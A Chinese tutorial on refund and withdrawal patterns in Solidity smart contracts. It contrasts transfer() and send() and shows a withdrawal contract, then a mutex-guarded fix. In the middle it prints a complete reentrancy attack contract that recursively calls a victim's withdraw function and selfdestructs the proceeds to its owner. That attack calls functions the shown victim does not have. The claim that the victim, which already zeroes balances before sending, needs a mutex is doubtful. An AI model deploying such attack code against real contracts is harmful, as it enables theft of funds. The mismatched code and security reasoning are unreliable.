智能合约-退款方式

​ 在售卖商品时,有可能因质量或者其他问题发生商品退回,同时必须给买家退款。通常,合约里记录追踪了所有的买家,可以放置在一个名叫 refund 的函数中,遍历所有的买家,从而找到需要退款的买家,最后把退款返回给到买家的地址上。退款中可以使用 buyerAddress.transfer() 或者 buyerAddress.send()。区别在于:transfer()在发生错误的情况下发生异常,而send()在发生意外的情况下不抛出异常,只是返回 false。send()的这个特性很重要,因为大部分买家是外部账户,但也有些买家可能是合约账户。如果合约账户中 Fallback 时出错,并抛出异常,遍历就会结束。交易被完全回退,这时,没有买家拿到退款。换句话说,退款程序被阻塞了。(实际上,单次调用中,transfer()更加安全,可以根据异常判断调用情况,所以尽量使用transfer() )

​ 使用 send(),错误的合约账户也不会阻塞其他买家的退款。但是send() 在使用时要注意重入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.6.12;

contract WithdrawalContract {
mapping(address => uint256) buyers;

function buy() public payable {
require(msg.value > 0);
buyers[msg.sender] = msg.value;
}

function withdraw() public {
uint256 amount = buyers[msg.sender];
require(amount > 0);
buyers[msg.sender] = 0;
require(msg.sender.send(amount));
}
}

重入攻击 的具体攻击手段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
contract Attack {
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable { owner = msg.sender; }

// 设置已部署的合约实例地址,即攻击的合约对象
function setVictim(address target) ownerOnly { victim = target; }

// deposit Ether to deployed contract
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}

// withdraw Ether from deployed contract
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}

// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}

function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}

function () payable {
if (msg.sender == victim) {
// step3 (收款后,自动执行)
// 再次尝试调用 攻击对象 的 withdraw 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}

所以上述代码采用互斥锁较为妥当。:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.6.12;

contract WithdrawalContract {
bool reEntrancyMutux = false;
mapping(address => uint256) buyers;

function buy() public payable {
require(msg.value > 0);
buyers[msg.sender] = msg.value;
}

function withdraw() public {
require(!reEntrancyMutux);
uint256 amount = buyers[msg.sender];
require(amount > 0);
buyers[msg.sender] = 0;
reEntrancyMutux = true;
require(msg.sender.send(amount));
reEntrancyMutux = false;
}
}

关联文档:

  1. 智能合约-CURD的详细分析
  2. 智能合约-自毁模式
  3. 智能合约-工厂合约模式
  4. 智能合约-名字登录模式
  5. 智能合约-退款方式